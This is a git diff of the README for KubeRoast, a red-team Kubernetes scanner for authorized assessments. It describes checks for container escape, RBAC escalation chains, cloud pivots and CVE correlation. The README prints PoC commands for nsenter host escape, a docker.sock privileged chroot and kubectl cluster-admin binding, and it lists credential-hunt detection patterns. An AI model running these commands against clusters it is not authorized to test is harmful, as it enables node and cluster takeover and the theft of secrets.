diff --git a/README.md b/README.md index 947ebc7..7f58d8c 100644 --- a/README.md +++ b/README.md @@ -1,241 +1,387 @@

Python 3.9+ MIT License - Tests - Version + Tests + Version + Read-only

KubeRoast

- Red-team Kubernetes misconfiguration & attack-path scanner
- Fast, opinionated, read-only. Built for real-world escalation paths. + Offensive Kubernetes scanner. Built for operators, not auditors.
+ Concrete attack primitives, multi-hop escalation chains, and PoC commands β€” + not a checklist of fields.

+ πŸ“– Docs & methodology β†’ snailsploit.com/tools +

+ +

+ WhyQuick Start • - What It Finds • - Usage • - CI/CD • - Output • - Contributing + Operator Playbook • + Coverage • + Shift-Left • + CI/CD

--- -> **Ethical use only.** Run KubeRoast only on clusters you own or have explicit written permission to test. +> **Ethical use only.** Run KubeRoast against clusters you own or have written authorization to test. This is an assessment tool for self-deployed environments. + +## What makes this different + +Most "Kubernetes security scanners" output a wall of *"field X not set to Y"* checklists. Useful for compliance auditors. Useless when you have a kubeconfig and 30 minutes to find a path to cluster-admin. -## Why KubeRoast +KubeRoast is built around the questions an operator actually asks: -Most Kubernetes security scanners generate noise. KubeRoast focuses on **what actually gets you owned** β€” privilege escalation paths, exposed kubelets, over-permissioned RBAC, network services open to the internet, and secrets sitting in plain sight. It reads, never writes. Safe to run in production. +| Question | What KubeRoast does | +|---|---| +| *"If I land RCE in this container, how fast can I get to the node?"* | Per-pod **escape primitive scoring** with the exact PoC command (docker.sock β†’ `docker -H unix:///var/run/docker.sock …`, SYS_ADMIN β†’ cgroup `release_agent`, etc.) | +| *"Which SAs are 1–2 hops from cluster-admin?"* | **Multi-hop RBAC chain analysis** β€” traverses `create pods` β†’ `pods/exec` β†’ `serviceaccounts/token` β†’ CSR cert-mint β†’ `bind` graph and emits the full chain with per-hop PoC | +| *"Who is *already* cluster-admin without the obvious binding?"* | **Tier-0 identification** β€” names the principals holding crown-jewel verbs (CSR create+approve β†’ mint a `system:masters` cert, `nodes/proxy`, cluster-wide `pods/exec`, read-all-secrets, `serviceaccounts/token`, webhook writes) | +| *"How do I get from a pod into the cloud account?"* | **Cloud-pivot modeling** β€” IMDS reachability (per-namespace egress posture, provider-specific credential-theft curl) and IRSA / GKE Workload Identity / Azure Workload Identity SAβ†’role mapping | +| *"Is the datastore reachable?"* | **Control-plane probes** β€” etcd (2379) reachable / without client-cert auth β†’ read every Secret directly, and the legacy insecure apiserver port (8080) β†’ unauthenticated cluster-admin | +| *"Is anything here a known one-shot?"* | **CVE correlation** β€” runc/kubelet/k8s/ingress-nginx versions β†’ known-exploitable escape & escalation CVEs (Leaky Vessels, IngressNightmare, the apiserver-proxy bug) with CISA-KEV and EPSS tags | +| *"Is this kubelet I can reach actually exploitable?"* | **Active kubelet HTTP probes** against `/pods`, `/configz`, `/metrics` on 10250/10255 β€” not just a TCP port check | +| *"Where are the credentials that shouldn't be there?"* | **Credential hunt** across ConfigMaps, pod env vars, and command-line args (AKIA…, ghp_…, PEM keys, JDBC URLs, Azure connection strings) plus **SA token JWT decode** (legacy non-expiring tokens, IRSA audiences) | +| *"What admission policies can I bypass?"* | **Webhook bypass audit** β€” `failurePolicy: Ignore` + long timeouts = DoS-bypassable | +| *"Can I check this before the cluster exists?"* | **Shift-left manifest mode** (`--manifests ./k8s/`) β€” same rules, no API access required | + +Every finding carries: severity, **exploitability** (`trivial` / `easy` / `moderate` / `hard`), **impact** (concrete blast radius), the **PoC command** an operator runs to confirm, and the **MITRE ATT&CK** technique IDs. + +> **No kiddie stuff by default.** Defense-in-depth lint (no resource limits, no AppArmor, "automount token not disabled") is **hidden by default** so attack paths lead. Add `--include-hygiene` if you want the compliance checklist back. ## Quick Start ```bash -# Install git clone https://github.com/SnailSploit/KubeRoast_v1.git cd KubeRoast_v1 -pip install -e . +pip install -e '.[manifests]' -# Scan your cluster +# Live cluster scan (current kubeconfig) kuberoast --report text + +# Pre-deploy: scan a directory of YAML +kuberoast --manifests ./k8s/ --report text + +# Only show what an attacker can exploit today +kuberoast --min-exploitability easy --report text ``` -That's it. KubeRoast picks up your current kubeconfig context automatically. +## What a real finding looks like -## What It Finds +``` +[CRITICAL] trivial Trivial container escape: privileged + hostPID + id: ESC-PRIV-HOSTPID + resource: deployment/vulnerable-webapp::app + summary: Container app is privileged AND shares the host PID namespace. + Combined, these grant immediate ability to ptrace/nsenter + host PID 1 and achieve root on the node from any RCE. + impact: Root on the underlying node. Access to all other pods on + that node, kubelet credentials, and any node-local secrets. + poc: + β”‚ nsenter --target 1 --mount --uts --ipc --net --pid -- bash + att&ck: T1611 + fix: Remove privileged=true and hostPID=true. + + +[CRITICAL] easy Escalation chain (2 hop): sa:dev:cicd β†’ cluster-admin + id: AP-CHAIN + resource: sa:dev:cicd + summary: Principal sa:dev:cicd can reach cluster-admin in 2 step(s). + + Chain: sa:dev:cicd β†’ sa:prod:deployer β†’ ClusterRole/cluster-admin + + Steps: + - create a pod with serviceAccountName set to target SA + PoC: kubectl run pwn --image=busybox \ + --serviceaccount=deployer -n prod -- sleep 999 + - bind self to cluster-admin via RoleBinding write + PoC: kubectl create clusterrolebinding pwn \ + --clusterrole=cluster-admin --serviceaccount=prod:deployer + + impact: Full cluster compromise via 2-hop escalation. + att&ck: T1078.004, T1098.003 +``` -KubeRoast runs **30+ security checks** across 7 categories. Every finding includes severity, a description, actionable remediation, and reference links. +## Operator Playbook -### Pod Security (11 checks) +A 5-minute workflow for triaging a freshly-acquired cluster context: -| ID | Finding | Severity | -|---|---|---| -| `POD-PRIV` | Privileged container | Critical | -| `POD-ROOT` | Container runs as root (`runAsUser=0`) | High | -| `POD-PE` | `allowPrivilegeEscalation` not disabled | High/Medium | -| `POD-HOSTNS` | Pod uses host namespaces (network/PID/IPC) | High | -| `POD-CAPS` | Dangerous Linux capabilities (`SYS_ADMIN`, `SYS_PTRACE`, etc.) | High | -| `POD-HOSTPATH` | hostPath volume mounted | High | -| `POD-RWFS` | Writable root filesystem | Medium | -| `POD-NO-SECCOMP` | No seccomp profile configured | Medium | -| `POD-NO-LIMITS` | No CPU/memory resource limits | Medium | -| `POD-SATOKEN` | Service account token automount not disabled | Low | -| `POD-NO-APPARMOR` | No AppArmor profile configured | Low | - -### RBAC (5 checks) - -| ID | Finding | Severity | -|---|---|---| -| `RBAC-ANON` | Anonymous or wildcard user bound | Critical | -| `RBAC-CLUSTER-ADMIN` | `cluster-admin` granted via binding | Critical | -| `RBAC-ESCALATION-VERB` | Escalation verbs (`bind`/`escalate`/`impersonate`) | Critical | -| `RBAC-WILDCARD` | Wildcard `*` in role rules | High | -| `RBAC-SENSITIVE-WRITE` | Write access to sensitive resources | High | +```bash +# 1. Triage view β€” sorted, only what's exploitable +kuberoast --report text --min-exploitability easy -### Attack Path Modeling (1 composite check) +# 2. Drill into escape primitives only +kuberoast --report json | jq '[.[] | select(.category == "Escape")]' -| ID | Finding | Severity | -|---|---|---| -| `AP-RBAC-ESC` | RBAC permissions enable privilege escalation | Critical | +# 3. RBAC escalation map β€” who's near cluster-admin, and who already IS? +kuberoast --report json | jq '[.[] | select(.id == "AP-CHAIN" or .id == "AP-TIER0") | {id, principal: .resource}]' -Maps every principal (especially ServiceAccounts) to concrete escalation abilities β€” bind, escalate, impersonate, create pods + read secrets, exec/attach, modify nodes β€” and links SAs back to the pods running them. +# 4. Cloud pivot β€” can a pod become the cloud account? +kuberoast --report json | jq '[.[] | select(.category == "CloudPivot")]' -### Network Exposure (5 checks) +# 5. Known one-shots β€” CVEs in running versions, ranked by EPSS +kuberoast --report json | jq '[.[] | select(.category == "CVE")] | sort_by(.metadata.epss) | reverse' -| ID | Finding | Severity | -|---|---|---| -| `NET-LB-OPEN` | LoadBalancer without `loadBalancerSourceRanges` | High | -| `NET-EXTERNAL-IP` | Service with `externalIPs` | High | -| `NET-INGRESS-NO-TLS` | Ingress without TLS | High | -| `NET-NODEPORT` | Service exposed via NodePort | Medium | -| `NET-INGRESS-WILDCARD` | Ingress with wildcard host | Medium | +# 5b. Crown jewels β€” etcd / insecure apiserver reachable? +kuberoast --report json | jq '[.[] | select(.category == "ControlPlane")]' + +# 6. Credential haul β€” secrets, configmaps, env, tokens +kuberoast --report json | jq '[.[] | select(.category | IN("Secrets","ConfigMaps","Tokens"))]' +``` -### Node Security (2 checks) +Each command runs in seconds. You walk away with a prioritized hit-list, PoC commands ready to paste. -| ID | Finding | Severity | +## Offensive Coverage + +KubeRoast runs **65+ checks across 14 categories**. Coverage emphasizes attacker-actionable findings. + +### πŸšͺ Container Escape Primitives ([`scanners/escapes.py`](kuberoast/scanners/escapes.py)) + +| ID | Primitive | Exploitability | |---|---|---| -| `NODE-KUBELET-RO` | Kubelet read-only port 10255 reachable | Critical | -| `NODE-KUBELET-API` | Kubelet API port 10250 reachable | Medium | +| `ESC-PRIV-HOSTPID` | Privileged + hostPID β†’ `nsenter` host PID 1 | trivial | +| `ESC-PRIV` | Privileged β†’ mount host fs, chroot | trivial | +| `ESC-HOSTPATH-SENSITIVE` | Sensitive hostPath (`docker.sock`, `containerd.sock`, `/etc`, `/var/lib/etcd`, `/etc/kubernetes`, `/var/lib/kubelet`, …) | trivial / easy | +| `ESC-CAP-SYS_ADMIN` | CAP_SYS_ADMIN β†’ cgroup release_agent escape | trivial | +| `ESC-CAP-SYS_MODULE` | Load malicious kernel module | trivial | +| `ESC-CAP-SYS_PTRACE` | Attach to host PID 1 (needs hostPID) | easy | +| `ESC-CAP-SYS_RAWIO` | Read raw disk devices | easy | +| `ESC-CAP-DAC_READ_SEARCH` | Bypass file perms via `open_by_handle_at` | easy | +| `ESC-CAP-NET_ADMIN`, `NET_RAW`, `SYSLOG` | Network/log manipulation primitives | moderate | +| `ESC-PROC-WRITE` | Writable `/proc/sys/kernel/core_pattern` β†’ host code exec on segfault | trivial | +| `ESC-HOSTNET` | hostNetwork β†’ reach kubelet & node-local services | easy | +| `ESC-HOSTIPC` | hostIPC β†’ side-channel host processes | moderate | +| `ESC-ROOT-NO-DROP` | UID 0 with default caps (escalation multiplier) | moderate | + +### πŸ”— Multi-hop Attack Paths ([`attackpaths/sa_chains.py`](kuberoast/attackpaths/sa_chains.py), [`tier_zero.py`](kuberoast/attackpaths/tier_zero.py)) + +| ID | What it finds | +|---|---| +| `AP-CHAIN` | Shortest path from any SA to cluster-admin (≀4 hops), traversing `create pods`, `pods/exec`, `update deployments`, CSR cert-mint, `bind` / `escalate` / `impersonate`, `serviceaccounts/token`. Includes per-hop PoC. | +| `AP-TIER0` | Principals that are **effectively cluster-admin already** β€” CSR create+approve (mint a `system:masters` cert), `nodes/proxy`, cluster-wide `pods/exec`, read-all-secrets, `serviceaccounts/token`, webhook config writes, `impersonate`/`escalate`/`bind`, `nodes` patch. Skips expected holders (kube-system, system:masters). | +| `AP-RBAC-ESC` | 1-hop "this SA has cluster-takeover primitives" summary. | + +### ☁️ Cloud-Account Pivots ([`scanners/cloud.py`](kuberoast/scanners/cloud.py)) -Node probes run concurrently for fast scanning across large clusters. +The single highest-impact real-world escalation: pod β†’ cloud account. -### Secrets (3 checks) +| ID | What it finds | +|---|---| +| `CLOUD-IMDS-REACHABLE` | Namespaces with no egress NetworkPolicy blocking `169.254.169.254`. Provider auto-detected (AWS/GCP/Azure); emits the exact IMDS credential-theft `curl` for that provider. | +| `CLOUD-IRSA` | ServiceAccount federated to an AWS IAM role (`eks.amazonaws.com/role-arn`). Run-as that SA β†’ `sts:AssumeRoleWithWebIdentity`. | +| `CLOUD-GKE-WI` | SA mapped to a GCP service account via GKE Workload Identity. | +| `CLOUD-AZURE-WI` | SA configured for Azure Workload Identity (federated β†’ ARM token). | + +### 🏰 Control-Plane Exposure ([`scanners/controlplane.py`](kuberoast/scanners/controlplane.py)) + +Active, read-only probes of control-plane nodes. On managed control planes (EKS/GKE/AKS) these ports aren't reachable and nothing fires. + +| ID | What it confirms | +|---|---| +| `CP-ETCD-NOAUTH` | etcd (2379) answers `/version` unauthenticated β†’ no client-cert auth β†’ read/write **every Secret** directly via `etcdctl`, bypassing RBAC and audit logs (critical) | +| `CP-ETCD-REACHABLE` | etcd client port reachable from scan origin (TCP) β€” should never be routable from the workload network (high) | +| `CP-ETCD-PEER` | etcd peer port (2380) reachable | +| `CP-APISERVER-INSECURE` | legacy insecure apiserver port (8080) serves the API unauthenticated β†’ implicit cluster-admin (critical) | +| `CP-PORT-8080-OPEN` | port 8080 open but not confirmed as apiserver β€” identify the listener | -| ID | Finding | Severity | +> **DaemonSet amplification:** escape primitives found in a DaemonSet template are re-framed as a foothold on *every* node (a DaemonSet schedules a pod per node), not a single-pod compromise. + +### 🩹 CVE Correlation ([`scanners/cve.py`](kuberoast/scanners/cve.py)) + +Version-aware, offline, deterministic. Each finding carries CISA-KEV status and EPSS (verified against live feeds at authoring time). + +| CVE | Component | Why it matters | |---|---|---| -| `SECRET-SENSITIVE` | Opaque secret contains credential-like keys | Medium | -| `SECRET-DOCKER-HUB` | Docker Hub credentials in secret | Medium | -| `SECRET-TLS-MANUAL` | TLS secret not managed by cert-manager | Low | +| `CVE-2025-1974` | ingress-nginx < 1.11.5 / 1.12.1 | **IngressNightmare** β€” unauth RCE in admission controller β†’ read all Secrets. EPSS 0.91 | +| `CVE-2018-1002105` | k8s < 1.10.11/1.11.5/1.12.3 | apiserver proxy β†’ unauthenticated backend escalation. EPSS 0.90 | +| `CVE-2024-1086` | kernel < 6.8 | nf_tables UAF β†’ node-root LPE. **CISA KEV**, EPSS 0.85 | +| `CVE-2024-21626` | runc ≀ 1.1.11 | **Leaky Vessels** β€” WORKDIR fd container escape | +| `CVE-2019-5736` | runc < 1.0 | runc binary overwrite β†’ node root | +| `CVE-2022-0185` | kernel < 5.16.2 | fsconfig heap overflow β†’ escape/LPE. **CISA KEV** | +| `CVE-2020-15257` | containerd < 1.4.3 | containerd-shim host-net escape | +| `CVE-2021-25741` | kubelet < 1.22.2 | subPath symlink β†’ host file access | +| `CVE-2020-8559` | k8s < 1.18.6 | apiserverβ†’kubelet redirect β†’ cross-node | +| `CVE-2023-5044`, `CVE-2021-25742` | ingress-nginx | annotation/snippet injection β†’ controller token theft | + +### πŸ” Active Kubelet Probes ([`scanners/kubelet.py`](kuberoast/scanners/kubelet.py)) + +| ID | What it confirms | +|---|---| +| `KUBELET-RO-PODS` | Port 10255 `/pods` returns pod inventory unauthenticated (critical / trivial) | +| `KUBELET-RO-METRICS` | Port 10255 `/metrics` unauthenticated | +| `KUBELET-API-ANON-PODS` | Port 10250 `/pods` reachable anonymously β€” full pod enumeration + exec (critical) | +| `KUBELET-API-AUTH` | Port 10250 properly returns 401 (info β€” good) | +| `KUBELET-API-AUTHZ` | Anonymous authN enabled but authZ enforced | +| `KUBELET-API-METRICS` | `/metrics` on 10250 served without auth | +| `KUBELET-CONFIGZ` | `/configz` discloses full kubelet config | -### Policy & PSS (2 checks) +### πŸͺͺ Token & Credential Hunting -| ID | Finding | Severity | +| ID | Category | What it finds | |---|---|---| -| `POLICY-NONE` | No policy engine (Kyverno/Gatekeeper) detected | High | -| `PSS-NOT-ENFORCED` | Namespace lacks Pod Security Admission labels | High/Info | +| `TOKEN-LEGACY-NONEXPIRING` | Tokens | Legacy `kubernetes.io/service-account-token` Secret with no `exp` claim β€” persistent SA impersonation if exfiltrated | +| `TOKEN-AUDIENCE` | Tokens | Token bound to non-default audience (often IRSA / Workload Identity / Vault) | +| `CM-LEAK-AWS-AKID` | ConfigMaps | AWS Access Key ID | +| `CM-LEAK-PRIVATE-KEY-PEM` | ConfigMaps | PEM private key (RSA/EC/OPENSSH) | +| `CM-LEAK-GCP-SA-JSON` | ConfigMaps | GCP service account JSON | +| `CM-LEAK-GITHUB-PAT` | ConfigMaps | `ghp_…` / `ghs_…` / `gho_…` | +| `CM-LEAK-SLACK-BOT` | ConfigMaps | `xoxb-…` | +| `CM-LEAK-JDBC-URL`, `CM-LEAK-GENERIC-URL` | ConfigMaps | Connection strings with embedded creds | +| `CM-LEAK-AZURE-CONN` | ConfigMaps | Azure storage connection string | +| `CM-LEAK-PASSWORD-YAML`, `CM-LEAK-APIKEY` | ConfigMaps | Plaintext password / API key in config | +| `ENV-LEAK-*` | Secrets | Literal credential in a pod `env.value` (AWS key, token, JDBC URL, …) | +| `ENV-LEAK-NAMED` | Secrets | Sensitive env name (`DB_PASSWORD`, `*_SECRET`, …) set to an inline value instead of `secretKeyRef` | +| `ARG-LEAK-*` | Secrets | Credential on a container `command`/`args` line (world-visible via `/proc`) | +| `SECRET-SENSITIVE`, `SECRET-DOCKER-HUB` | Secrets | Sensitive keys in Opaque secret, Docker Hub creds | + +### πŸͺ Admission Webhook Bypass ([`scanners/webhooks.py`](kuberoast/scanners/webhooks.py)) + +| ID | Bypass primitive | +|---|---| +| `WEBHOOK-FAIL-OPEN` | `failurePolicy: Ignore` β€” DoS the backing service and policy fails open | +| `WEBHOOK-SLOW-TIMEOUT` | Long `timeoutSeconds` widens DoS window | +| `WEBHOOK-SIDE-EFFECTS` | `sideEffects: Unknown` / `Some` enables dry-run reconnaissance | +| `WEBHOOK-NO-CA` | Missing `caBundle` β€” webhook TLS unverified | -System namespaces (`kube-system`, etc.) are flagged at `info` severity with tailored remediation. +### πŸ›‘ RBAC Hygiene ([`scanners/rbac.py`](kuberoast/scanners/rbac.py)) -## Usage +| ID | Finding | +|---|---| +| `RBAC-ANON` | Anonymous or wildcard user bound | +| `RBAC-BROAD-GROUP` | `system:unauthenticated` / `system:authenticated` / `*` bound | +| `RBAC-CLUSTER-ADMIN` | cluster-admin granted via binding | +| `RBAC-ESCALATION-VERB` | `bind` / `escalate` / `impersonate` in a role | +| `RBAC-WILDCARD` | Wildcard verbs or resources in role rules | +| `RBAC-SENSITIVE-WRITE` | Write verbs on `secrets` / `pods/exec` / `rolebindings` / etc. | -``` -kuberoast [OPTIONS] -``` +### 🧱 Pod Security ([`scanners/pods.py`](kuberoast/scanners/pods.py)) -### Flags +Eleven hardening checks: `POD-PRIV`, `POD-ROOT`, `POD-PE`, `POD-HOSTNS`, `POD-CAPS`, `POD-HOSTPATH`, `POD-RWFS`, `POD-NO-SECCOMP`, `POD-NO-APPARMOR`, `POD-NO-LIMITS`, `POD-SATOKEN`. Also applied to **every workload's pod template** (Deployment, StatefulSet, DaemonSet, Job, CronJob, ReplicaSet, ReplicationController). -| Flag | Default | Description | -|---|---|---| -| `--report {json,text,html}` | `json` | Output format | -| `--out FILE` | β€” | Write report to file (required for HTML) | -| `--kubeconfig PATH` | β€” | Path to kubeconfig (defaults to `~/.kube/config`) | -| `-n, --namespace NS` | β€” | Limit scan to a single namespace | -| `--min-severity {info,low,medium,high,critical}` | `info` | Filter out findings below this severity | -| `--fail-on {info,low,medium,high,critical}` | β€” | Exit code 1 if any finding meets this threshold | -| `--skip-nodes` | `false` | Skip kubelet port probes | -| `--skip-secrets` | `false` | Skip secret inspection | -| `--skip-attack-paths` | `false` | Skip RBAC attack-path analysis | -| `--provider {generic,eks,aks,gke}` | `generic` | Cloud provider hint for remediation wording | -| `-v, --verbose` | `false` | Progress logging to stderr | - -### Examples - -**Quick text scan of the default namespace:** -```bash -kuberoast -n default --report text -``` +### 🌐 Network Exposure ([`scanners/network.py`](kuberoast/scanners/network.py)) -**Full cluster scan, only high and critical:** -```bash -kuberoast --min-severity high --report text -``` +`NET-LB-OPEN`, `NET-EXTERNAL-IP`, `NET-NODEPORT`, `NET-INGRESS-NO-TLS`, `NET-INGRESS-WILDCARD`. -**HTML report for the security team:** -```bash -kuberoast --report html --out report.html -``` +### πŸ“œ Policy & PSS ([`scanners/policy.py`](kuberoast/scanners/policy.py), [`scanners/pss.py`](kuberoast/scanners/pss.py)) -**CI gate β€” fail the pipeline on critical findings:** -```bash -kuberoast --fail-on critical --report json > results.json -``` +`POLICY-NONE` (no Kyverno/Gatekeeper detected), `PSS-NOT-ENFORCED` (namespaces missing Pod Security Admission labels β€” info severity for system namespaces). + +## Shift-left Manifest Mode + +KubeRoast runs the **exact same scanners** against YAML/JSON files β€” no cluster required. -**Verbose scan, skip node probes (faster):** ```bash -kuberoast -v --skip-nodes --report text +# Single file +kuberoast --manifests deploy.yaml --report text + +# Whole directory (recurses, handles multi-doc YAML, Helm output, Kustomize output) +kuberoast --manifests ./k8s/ --report text + +# Render Helm first, then scan +helm template my-chart ./chart | kuberoast --manifests /dev/stdin --report text ``` -## CI/CD Integration +Workload templates (`Deployment.spec.template`, `CronJob.spec.jobTemplate.spec.template`, etc.) get extracted and run through every pod-level scanner. ConfigMaps, Secrets, RBAC, Services, Ingresses, and Webhooks all work the same offline. -KubeRoast is designed to gate deployments. Use `--fail-on` to set the threshold: +## CI/CD ```yaml -# GitHub Actions example -- name: Security scan - run: | - pip install -e . - kuberoast --fail-on high --report json > kuberoast-results.json +# .github/workflows/security.yml +name: kuberoast +on: [pull_request] +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: {python-version: '3.11'} + - run: pip install 'kuberoast[manifests] @ git+https://github.com/SnailSploit/KubeRoast_v1' + - name: Scan manifests + run: kuberoast --manifests ./k8s/ --fail-on high --report json > scan.json + - if: always() + uses: actions/upload-artifact@v4 + with: {name: kuberoast-results, path: scan.json} ``` -### Exit Codes +### Exit codes | Code | Meaning | |---|---| -| `0` | Scan completed, no findings at or above `--fail-on` threshold | +| `0` | Scan complete, nothing met `--fail-on` | | `1` | Findings met or exceeded `--fail-on` threshold | | `2` | Usage error or runtime failure | -## Output Formats +## CLI Reference -### JSON (default) -Machine-readable array of findings. Pipe to `jq` for filtering: -```bash -kuberoast | jq '[.[] | select(.severity == "critical")]' ``` - -### Text -Grouped by severity, with summary line and remediation per finding: +kuberoast [OPTIONS] ``` -=== kuberoast scan: 12 findings (3 critical, 4 high, 5 medium) === ---- CRITICAL (3) --- - [CRITICAL] Privileged container - Resource: pod/prod/web-0::nginx - Description: Container runs in privileged mode, granting broad access to the host kernel. - Remediation: Remove privileged=true. Grant narrow capabilities only if needed. -``` +### Common flags -### HTML -Dark-themed report with severity badges, sortable table, and remediation guidance. Open in any browser: -```bash -kuberoast --report html --out report.html && open report.html -``` +| Flag | Default | Description | +|---|---|---| +| `--report {json,text,html}` | `json` | Output format | +| `--out FILE` | β€” | Write report to file (required for HTML) | +| `--manifests PATH` | β€” | Scan manifests offline (file or directory) | +| `--kubeconfig PATH` | β€” | Path to kubeconfig (defaults to `$KUBECONFIG` then `~/.kube/config`) | +| `-n, --namespace NS` | β€” | Limit scan to one namespace | +| `--min-severity {info,low,medium,high,critical}` | `info` | Filter by severity | +| `--min-exploitability {theoretical,hard,moderate,easy,trivial}` | β€” | Filter by exploitability | +| `--include-hygiene` | off | Include defense-in-depth / compliance findings (hidden by default) | +| `--fail-on {info,low,medium,high,critical}` | β€” | Exit `1` if any finding meets the threshold | +| `--no-color` | off | Disable ANSI colors | +| `--version` | β€” | Print version and exit | +| `-v, --verbose` | off | Progress logging to stderr | + +### Skip flags (for large clusters) + +| Flag | Skips | +|---|---| +| `--skip-nodes` | Node TCP + kubelet probes (node list still fetched for CVE/cloud) | +| `--skip-kubelet-probe` | Active HTTP probing β€” kubelet **and** control-plane (etcd / insecure apiserver). TCP-port check still runs | +| `--skip-secrets` | Secret heuristics + SA token analysis | +| `--skip-configmaps` | ConfigMap credential hunt | +| `--skip-attack-paths` | RBAC 1-hop + multi-hop chains + tier-0 | +| `--skip-cloud` | Cloud-pivot analysis (IMDS + workload identity) | +| `--skip-cve` | Versionβ†’CVE correlation | +| `--skip-webhooks` | Admission webhook audit | ## Findings Schema -Every finding follows a structured format: - ```json { - "id": "POD-PRIV", - "title": "Privileged container", - "description": "Container runs in privileged mode, granting broad access to the host kernel.", + "id": "ESC-HOSTPATH-SENSITIVE", + "title": "Container escape via hostPath /var/run/docker.sock", + "description": "Pod mounts a sensitive hostPath (/var/run/docker.sock). …", "severity": "critical", - "category": "Pod Security", + "category": "Escape", "namespace": "prod", - "resource": "pod/web-0::nginx", + "resource": "deployment/vulnerable-webapp", "metadata": {}, - "remediation": "Remove privileged=true. Grant narrow capabilities only if needed.", - "references": ["https://kubernetes.io/docs/concepts/security/pod-security-standards/"] + "remediation": "Remove the /var/run/docker.sock hostPath mount.", + "references": [ + "https://attack.mitre.org/techniques/T1611/", + "https://blog.aquasec.com/docker-socket-mount-container-escape" + ], + "exploitability": "trivial", + "exploit": "docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host", + "impact": "Docker daemon socket β€” spawn privileged sibling containers", + "attack_techniques": ["T1611"] } ``` -**Severity levels:** `critical` > `high` > `medium` > `low` > `info` - -**Categories:** Pod Security, RBAC, AttackPath, Network, Node, Secrets, Policy +**Severity:** `critical` > `high` > `medium` > `low` > `info` +**Exploitability:** `trivial` > `easy` > `moderate` > `hard` > `theoretical` +**Categories:** `Escape`, `AttackPath`, `CloudPivot`, `ControlPlane`, `CVE`, `Pod Security`, `RBAC`, `Network`, `Node`, `Secrets`, `ConfigMaps`, `Tokens`, `Webhooks`, `Policy` -## Kubernetes RBAC +## Required RBAC KubeRoast only needs **read access**. Apply this minimal ClusterRole: @@ -246,98 +392,118 @@ metadata: name: kuberoast-reader rules: - apiGroups: [""] - resources: [pods, secrets, nodes, namespaces, services] - verbs: [get, list, watch] + resources: [pods, secrets, configmaps, nodes, namespaces, services, serviceaccounts] + verbs: [get, list] + - apiGroups: [apps] + resources: [deployments, statefulsets, daemonsets, replicasets] + verbs: [get, list] + - apiGroups: [batch] + resources: [jobs, cronjobs] + verbs: [get, list] - apiGroups: [rbac.authorization.k8s.io] resources: [roles, rolebindings, clusterroles, clusterrolebindings] - verbs: [get, list, watch] + verbs: [get, list] - apiGroups: [networking.k8s.io] - resources: [ingresses] - verbs: [get, list, watch] + resources: [ingresses, networkpolicies] + verbs: [get, list] + - apiGroups: [admissionregistration.k8s.io] + resources: [validatingwebhookconfigurations, mutatingwebhookconfigurations] + verbs: [get, list] - apiGroups: [apiextensions.k8s.io] resources: [customresourcedefinitions] - verbs: [get, list, watch] ---- -apiVersion: v1 -kind: ServiceAccount -metadata: - name: kuberoast - namespace: default ---- -apiVersion: rbac.authorization.k8s.io/v1 -kind: ClusterRoleBinding -metadata: - name: kuberoast-reader-binding -roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: kuberoast-reader -subjects: - - kind: ServiceAccount - name: kuberoast - namespace: default + verbs: [get, list] ``` -Secrets and nodes are optional β€” KubeRoast continues gracefully if those APIs return 401/403. +Versionβ†’CVE correlation also reads the cluster version (`/version`, public) and node `status.nodeInfo` (covered by `nodes` above). + +KubeRoast continues gracefully if any API returns 401/403 β€” partial scans are still useful. ## Architecture ``` kuberoast/ - cli.py # CLI entry point, arg parsing, orchestration + cli.py CLI, banner, orchestration utils/ - findings.py # Pydantic Finding model - kube.py # K8s API clients, pagination, error handling + findings.py Pydantic Finding model + hygiene ID set + kube.py K8s API clients, pagination, error handling + manifests.py Shift-left YAML/JSON loader (camelCaseβ†’snake_case) + workloads.py PodTemplate extraction for Deployment/etc. + versions.py Version parsing for CVE correlation + colors.py ANSI colors (TTY-aware, NO_COLOR-respecting) scanners/ - pods.py # 11 pod-level security checks - rbac.py # 5 RBAC hygiene checks - network.py # Service + Ingress exposure checks - nodes.py # Concurrent kubelet port probes - secrets.py # Credential heuristics - policy.py # Policy engine (Kyverno/Gatekeeper) detection - pss.py # Pod Security Standards label checks - shared.py # Container iteration helpers + pods.py 11 pod-level hardening checks + escapes.py Container escape primitive analysis (scoring + PoC) + cloud.py Cloud-account pivots (IMDS + IRSA/WI federation) + controlplane.py etcd / insecure-apiserver exposure probes + cve.py Versionβ†’known-exploitable-CVE correlation + rbac.py RBAC hygiene + network.py Service + Ingress exposure + nodes.py Legacy TCP-port check for kubelet + kubelet.py Active HTTP probes (/pods, /configz, /metrics) + secrets.py Credential heuristics in Secrets + tokens.py JWT decode of SA tokens (legacy vs projected, audiences) + configmaps.py Credential hunt in ConfigMaps + podsecrets.py Hardcoded creds in pod env / args / command + webhooks.py Admission webhook bypass audit + policy.py Policy engine (Kyverno/Gatekeeper) detection + pss.py Pod Security Standards labels + shared.py Container iteration helpers attackpaths/ - rbac_escalation.py # RBAC privilege escalation graph + rbac_escalation.py 1-hop RBAC escalation primitives + sa_chains.py Multi-hop SA β†’ cluster-admin BFS (incl. CSR cert-mint) + tier_zero.py Effective-cluster-admin (crown jewel) identification reporting/ - json.py # JSON output - text.py # Severity-grouped text output - html.py # Dark-themed HTML report -tests/ - test_pods.py # Pod scanner unit tests - test_rbac.py # RBAC scanner unit tests - test_network.py # Network scanner unit tests - test_secrets.py # Secret scanner unit tests - test_pss.py # PSS scanner unit tests - test_reporting.py # Output format tests + json.py JSON output + text.py Colorized severity-grouped text + html.py Dark-themed HTML report + +tests/ 200 tests covering every scanner + edge cases ``` +## Comparison + +| Capability | kuberoast | kube-bench | kubescape | kube-hunter | +|---|---|---|---|---| +| Container escape primitive scoring + PoC | βœ… | β€” | partial | β€” | +| Multi-hop RBAC escalation chains (incl. CSR cert-mint) | βœ… | β€” | β€” | β€” | +| Tier-0 / effective-cluster-admin identification | βœ… | β€” | β€” | β€” | +| Cloud-account pivot modeling (IMDS + IRSA/WI) | βœ… | β€” | β€” | β€” | +| etcd / insecure-apiserver exposure probes | βœ… | partial | β€” | βœ… | +| Versionβ†’CVE correlation with KEV/EPSS | βœ… | β€” | partial | partial | +| Active kubelet HTTP enumeration | βœ… | β€” | β€” | βœ… | +| SA token JWT decode (legacy detection) | βœ… | β€” | β€” | β€” | +| Credential hunt (ConfigMaps + env + args) | βœ… | β€” | partial | β€” | +| Webhook bypass audit (failurePolicy) | βœ… | β€” | β€” | β€” | +| Workload template coverage | βœ… 